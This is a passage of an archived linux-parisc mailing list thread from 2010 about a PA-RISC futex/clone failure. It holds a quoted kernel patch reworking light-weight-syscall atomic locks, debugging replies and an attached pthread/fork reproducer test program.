> +	DEFINE(ASM_ATOMIC_HASH_SIZE_SHIFT, __builtin_ffs(ATOMIC_HASH_SIZE)-1);
> +	DEFINE(ASM_ATOMIC_HASH_ENTRY_SHIFT, __builtin_ffs(sizeof(__atomic_hash[0]))-1);
> +#endif
> +
>  	return 0;
>  }
> diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
> index cb71f3d..878f42c 100644
> --- a/arch/parisc/kernel/setup.c
> +++ b/arch/parisc/kernel/setup.c
> @@ -128,6 +131,14 @@ void __init setup_arch(char **cmdline_p)
>  	printk(KERN_INFO "The 32-bit Kernel has started...\n");
>  #endif
>  
> +	/* Consistency check on the size and alignments of our spinlocks */
> +#ifdef CONFIG_SMP
> +	BUILD_BUG_ON(sizeof(arch_spinlock_t) != __PA_LDCW_ALIGNMENT);
> +	BUG_ON((unsigned long)&__atomic_hash[0] & (__PA_LDCW_ALIGNMENT-1));
> +	BUG_ON((unsigned long)&__atomic_hash[1] & (__PA_LDCW_ALIGNMENT-1));
> +#endif
> +	BUILD_BUG_ON((1<<L1_CACHE_SHIFT) != L1_CACHE_BYTES);
> +
>  	pdc_console_init();
>  
>  #ifdef CONFIG_64BIT
> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> index f5f9602..1f12418 100644
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -11,6 +11,7 @@
>  #include <asm/unistd.h>
>  #include <asm/errno.h>
>  #include <asm/page.h>
> +#include <asm/cache.h>
>  #include <asm/psw.h>
>  #include <asm/thread_info.h>
>  #include <asm/assembly.h>
> @@ -47,18 +48,17 @@ ENTRY(linux_gateway_page)
>  	KILL_INSN
>  	.endr
>  
> -	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
> +	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
>  	/* Light-weight-syscall entry must always be located at 0xb0 */
>  	/* WARNING: Keep this number updated with table size changes */
>  #define __NR_lws_entries (2)
>  
>  lws_entry:
> -	/* Unconditional branch to lws_start, located on the 
> -	   same gateway page */
> -	b,n	lws_start
> +	gate	lws_start, %r0		/* increase privilege */
> +	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
>  
> -	/* Fill from 0xb4 to 0xe0 */
> -	.rept 11
> +	/* Fill from 0xb8 to 0xe0 */
> +	.rept 10
>  	KILL_INSN
>  	.endr
>  
> @@ -423,9 +423,6 @@ tracesys_sigexit:
>  
>  	*********************************************************/
>  lws_start:
> -	/* Gate and ensure we return to userspace */
> -	gate	.+8, %r0
> -	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
>  
>  #ifdef CONFIG_64BIT
>  	/* FIXME: If we are a 64-bit kernel just
> @@ -473,7 +470,7 @@ lws_exit:
>  	/* now reset the lowest bit of sp if it was set */
>  	xor	%r30,%r1,%r30
>  #endif
> -	be,n	0(%sr3, %r31)
> +	be,n	0(%sr7, %r31)
>  
>  
>  	
> @@ -530,18 +527,17 @@ lws_compare_and_swap32:
>  
>  lws_compare_and_swap:
>  #ifdef CONFIG_SMP
> -	/* Load start of lock table */
> -	ldil	L%lws_lock_start, %r20
> -	ldo	R%lws_lock_start(%r20), %r28
> +	/* Calculate lock table entry via ATOMIC_HASH(%r26) */
> +	ldil	L%__atomic_user_hash, %r20
> +	ldo	R%__atomic_user_hash(%r20), %r28
>  
> -	/* Extract four bits from r26 and hash lock (Bits 4-7) */
> -	extru  %r26, 27, 4, %r20
> +#ifdef CONFIG_64BIT
> +	extrd,u %r26, 63-L1_CACHE_SHIFT, ASM_ATOMIC_HASH_SIZE_SHIFT, %r20
> +#else
> +	extru	%r26, 31-L1_CACHE_SHIFT, ASM_ATOMIC_HASH_SIZE_SHIFT, %r20
> +#endif
> +	shladd,l %r20, ASM_ATOMIC_HASH_ENTRY_SHIFT, %r28, %r20
>  
> -	/* Find lock to use, the hash is either one of 0 to
> -	   15, multiplied by 16 (keep it 16-byte aligned)
> -	   and add to the lock table offset. */
> -	shlw	%r20, 4, %r20
> -	add	%r20, %r28, %r20
>  
>  # if ENABLE_LWS_DEBUG
>  	/*	
> @@ -672,31 +668,6 @@ ENTRY(sys_call_table64)
>  END(sys_call_table64)
>  #endif
>  
> -#ifdef CONFIG_SMP
> -	/*
> -		All light-weight-syscall atomic operations 
> -		will use this set of locks 
> -
> -		NOTE: The lws_lock_start symbol must be
> -		at least 16-byte aligned for safe use
> -		with ldcw.
> -	*/
> -	.section .data
> -	.align	PAGE_SIZE
> -ENTRY(lws_lock_start)
> -	/* lws locks */
> -	.rept 16
> -	/* Keep locks aligned at 16-bytes */
> -	.word 1
> -	.word 0 
> -	.word 0
> -	.word 0
> -	.endr
> -END(lws_lock_start)
> -	.previous
> -#endif
> -/* CONFIG_SMP for lws_lock_start */
> -
>  .end
>  
>  
> diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
> index 353963d..bae6a86 100644
> --- a/arch/parisc/lib/bitops.c
> +++ b/arch/parisc/lib/bitops.c
> @@ -15,6 +15,9 @@
>  arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
>  	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
>  };
> +arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
> +	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
> +};
>  #endif
>  
>  #ifdef CONFIG_64BIT
> diff --git a/kernel/fork.c b/kernel/fork.c
> index f88bd98..108b1ed 100644
> --- a/kernel/fork.c
> +++ b/kernel/fork.c
> @@ -608,7 +608,10 @@ void mm_release(struct task_struct *tsk, struct mm_struct *mm)
>  			 * We don't check the error code - if userspace has
>  			 * not set up a proper pointer then tough luck.
>  			 */
> +			unsigned long flags;
> +			_atomic_spin_lock_irqsave_user(tsk->clear_child_tid, flags);
>  			put_user(0, tsk->clear_child_tid);
> +			_atomic_spin_unlock_irqrestore_user(tsk->clear_child_tid, flags);
>  			sys_futex(tsk->clear_child_tid, FUTEX_WAKE,
>  					1, NULL, NULL, 0);
>  		}
> @@ -1432,8 +1435,12 @@ long do_fork(unsigned long clone_flags,
>  
>  		nr = task_pid_vnr(p);
>  
> -		if (clone_flags & CLONE_PARENT_SETTID)
> +		if (clone_flags & CLONE_PARENT_SETTID) {
> +			unsigned long flags;
> +			_atomic_spin_lock_irqsave_user(parent_tidptr, flags);
>  			put_user(nr, parent_tidptr);
> +			_atomic_spin_unlock_irqrestore_user(parent_tidptr, flags);
> +		}
>  
>  		if (clone_flags & CLONE_VFORK) {
>  			p->vfork_done = &vfork;


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Sun, 7 Mar 2010 15:32:29 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <20100307203230.CAC964E77@hiauly1.hia.nrc.ca>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1267994005 17628 80.91.229.12 (7 Mar 2010 20:33:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 7 Mar 2010 20:33:25 +0000 (UTC)
Cc: deller@gmx.de, carlos@systemhalted.org, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 07 21:33:20 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NoN9d-0008NR-Gj
	for glpp-linux-parisc@lo.gmane.org; Sun, 07 Mar 2010 21:32:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754794Ab0CGUcd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Mar 2010 15:32:33 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4929 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753478Ab0CGUcc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Mar 2010 15:32:32 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CAC964E77; Sun,  7 Mar 2010 15:32:30 -0500 (EST)
In-Reply-To: <20100307171207.GA22856@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 7, 2010 12:12:08 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2681
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2681>

> The c3750 completed a full GCC build but there were again problems running
> the testsuite.  For example,
> 
> Core was generated by `expect -- /usr/share/dejagnu/runtest.exp --tool gcc'.
> Program terminated with signal 11, Segmentation fault.
> #0  0x409fa258 in ?? () from /usr/lib/libtcl8.5.so.0
> (gdb) bt
> #0  0x409fa258 in ?? () from /usr/lib/libtcl8.5.so.0
> #1  0x402600a0 in start_thread (arg=0x416a4480) at pthread_create.c:302
> #2  0x40e25874 in clone ()
>     at ../ports/sysdeps/unix/sysv/linux/hppa/nptl/../clone.S:166
> #3  0x00000000 in ?? ()
> 
> This looks like the minifail clone bug.  On the otherhand, minifail doesn't
> seem to be failing.

I reverted Helge's patch and still get the same fault, so it didn't
introduce the problem.

Prior to 2.6.33, I was running 2.6.31.12 with essentially the same config.
The libc6 update to 2.10.2-6 changed things on the c3750.  Prior to the
update, expect would hang several times running the acats testsuite.  After
the update, this was fixed.  However, the above problem was introduced,
or became more frequent.

I have the feeling that Helge's patch helps (possible resolves) the
minifail bug.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 10 Mar 2010 22:20:49 -0500
Organization: nrc.ca
Lines: 17
Approved: news@gmane.org
Message-ID: <20100311032049.GA14312@hiauly1.hia.nrc.ca>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca> <20100307203230.CAC964E77@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1268277672 17460 80.91.229.12 (11 Mar 2010 03:21:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 11 Mar 2010 03:21:12 +0000 (UTC)
Cc: deller@gmx.de, carlos@systemhalted.org, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 11 04:21:08 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NpYxO-0006qL-V7
	for glpp-linux-parisc@lo.gmane.org; Thu, 11 Mar 2010 04:21:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755443Ab0CKDUz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Mar 2010 22:20:55 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1190 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755439Ab0CKDUy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Mar 2010 22:20:54 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 770A84E77; Wed, 10 Mar 2010 22:20:50 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20100307203230.CAC964E77@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2682
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2682>

On Sun, 07 Mar 2010, John David Anglin wrote:

> I have the feeling that Helge's patch helps (possible resolves) the
> minifail bug.

With further testing, I find that the patch doesn't resolve the minifail
fails on my c3750.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Thu, 11 Mar 2010 08:54:18 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20100311135418.GA22698@bombadil.infradead.org>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca> <20100307203230.CAC964E77@hiauly1.hia.nrc.ca> <20100311032049.GA14312@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1268315674 3012 80.91.229.12 (11 Mar 2010 13:54:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 11 Mar 2010 13:54:34 +0000 (UTC)
Cc: deller@gmx.de, carlos@systemhalted.org, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 11 14:54:27 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NpiqH-0002Mo-0J
	for glpp-linux-parisc@lo.gmane.org; Thu, 11 Mar 2010 14:54:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757884Ab0CKNyY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Mar 2010 08:54:24 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52505 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755867Ab0CKNyY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Mar 2010 08:54:24 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NpiqA-0004Yv-Qj; Thu, 11 Mar 2010 13:54:18 +0000
Content-Disposition: inline
In-Reply-To: <20100311032049.GA14312@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2683
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2683>

On Wed, Mar 10, 2010 at 10:20:49PM -0500, John David Anglin wrote:
> > I have the feeling that Helge's patch helps (possible resolves) the
> > minifail bug.
> 
> With further testing, I find that the patch doesn't resolve the minifail
> fails on my c3750.
> 

Bummer. :(
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Thu, 11 Mar 2010 17:40:45 -0500
Organization: nrc.ca
Lines: 41
Approved: news@gmane.org
Message-ID: <20100311224044.GA18789@hiauly1.hia.nrc.ca>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca> <20100307203230.CAC964E77@hiauly1.hia.nrc.ca> <20100311032049.GA14312@hiauly1.hia.nrc.ca> <20100311135418.GA22698@bombadil.infradead.org>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1268347264 31152 80.91.229.12 (11 Mar 2010 22:41:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 11 Mar 2010 22:41:04 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>, deller@gmx.de,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 11 23:40:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Npr3p-0000EM-9Y
	for glpp-linux-parisc@lo.gmane.org; Thu, 11 Mar 2010 23:40:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752767Ab0CKWks (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Mar 2010 17:40:48 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1249 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752742Ab0CKWkr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Mar 2010 17:40:47 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B28634EF1; Thu, 11 Mar 2010 17:40:45 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20100311135418.GA22698@bombadil.infradead.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2684
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2684>

On Thu, 11 Mar 2010, Kyle McMartin wrote:

> On Wed, Mar 10, 2010 at 10:20:49PM -0500, John David Anglin wrote:
> > > I have the feeling that Helge's patch helps (possible resolves) the
> > > minifail bug.
> > 
> > With further testing, I find that the patch doesn't resolve the minifail
> > fails on my c3750.
> > 
> 
> Bummer. :(

Yes.

I am 95% certain that the bug has to do with the clone implementation
and scheduling.  I have attached another version of the minifail test.
The loops after the fork and pthread_create calls are to isolate these
syscalls.  Typically, I see something like:

Core was generated by `./minifail9s'.
Program terminated with signal 11, Segmentation fault.
#0  0x00000000 in ?? ()
(gdb) info thread
  2 Thread 11537  pure_test () at minifail9.cpp:51
* 1 Thread 11538  0x00000000 in ?? ()

Thread 2 is in the pure_test loop after the fork call.

The cause of the failure is not at all obvious to me but I am a
bit concerned about the sys_clone implementation.  Is it possible
that the struct pt_regs gets clobbered?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Thu, 11 Mar 2010 18:32:59 -0500
Organization: nrc.ca
Lines: 90
Approved: news@gmane.org
Message-ID: <20100311233258.GA19140@hiauly1.hia.nrc.ca>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca> <20100307203230.CAC964E77@hiauly1.hia.nrc.ca> <20100311032049.GA14312@hiauly1.hia.nrc.ca> <20100311135418.GA22698@bombadil.infradead.org> <20100311224044.GA18789@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="YiEDa0DAkWCtVeE4"
X-Trace: dough.gmane.org 1268350399 8637 80.91.229.12 (11 Mar 2010 23:33:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 11 Mar 2010 23:33:19 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>, deller@gmx.de,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 12 00:33:08 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NprsJ-0007bQ-93
	for glpp-linux-parisc@lo.gmane.org; Fri, 12 Mar 2010 00:33:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751437Ab0CKXdG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Mar 2010 18:33:06 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1255 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751121Ab0CKXdF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Mar 2010 18:33:05 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3A9F54EF1; Thu, 11 Mar 2010 18:32:59 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20100311224044.GA18789@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2685
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2685>


--YiEDa0DAkWCtVeE4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Thu, 11 Mar 2010, John David Anglin wrote:

> I am 95% certain that the bug has to do with the clone implementation
> and scheduling.  I have attached another version of the minifail test.
> The loops after the fork and pthread_create calls are to isolate these
> syscalls.  Typically, I see something like:

Attached.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--YiEDa0DAkWCtVeE4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="minifail9.cpp"

#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

/*
  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203

  clone(child_stack=0x4088d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x4108c4e8, tls=0x4108c900, child_tidptr=0x4108c4e8) = 14819
[pid 14819] set_robust_list(0x4108c4f0, 0xc) = 0
[pid 14818] clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 14820

 g++  minifail.cpp -o minifail -O0 -pthread -g

 i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail; done;

 */

static volatile int run = 1;

void* thread_run(void* arg) {
	static long status;
	int i;
        
	run = 1;
	pthread_yield();
	for (i = 10000000; i; i--)
	   continue;
	write(1,"Thread OK.\n",11);
	return (void *)&status;
}

int pure_test() {
	int i;
	pthread_t thread;
	pthread_create(&thread, NULL, thread_run, NULL);

	while (!run)
	  pthread_yield();
	switch (fork()) {
		case -1:
			perror("fork() failed");
		case 0:
			write(1,"Child OK.\n",10);
			_exit(0);
		default:
			break;
		
	}
	pthread_yield();
	for (i = 20000000; i; i--)
	  continue;
	write(1,"Fork done\n",10);
	pthread_join(thread, NULL);
	return 0;
}

int main(int argc, char** argv) {
	return pure_test();
}

--YiEDa0DAkWCtVeE4--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 12 Mar 2010 21:06:47 -0500
Organization: nrc.ca
Lines: 27
Approved: news@gmane.org
Message-ID: <20100313020647.GA26384@hiauly1.hia.nrc.ca>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca> <20100307203230.CAC964E77@hiauly1.hia.nrc.ca> <20100311032049.GA14312@hiauly1.hia.nrc.ca> <20100311135418.GA22698@bombadil.infradead.org> <20100311224044.GA18789@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1268446022 22115 80.91.229.12 (13 Mar 2010 02:07:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 13 Mar 2010 02:07:02 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>, deller@gmx.de,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 13 03:06:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NqGkf-0001qc-Rm
	for glpp-linux-parisc@lo.gmane.org; Sat, 13 Mar 2010 03:06:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754205Ab0CMCGw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Mar 2010 21:06:52 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1340 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753996Ab0CMCGw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Mar 2010 21:06:52 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C72234EA9; Fri, 12 Mar 2010 21:06:48 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20100311224044.GA18789@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
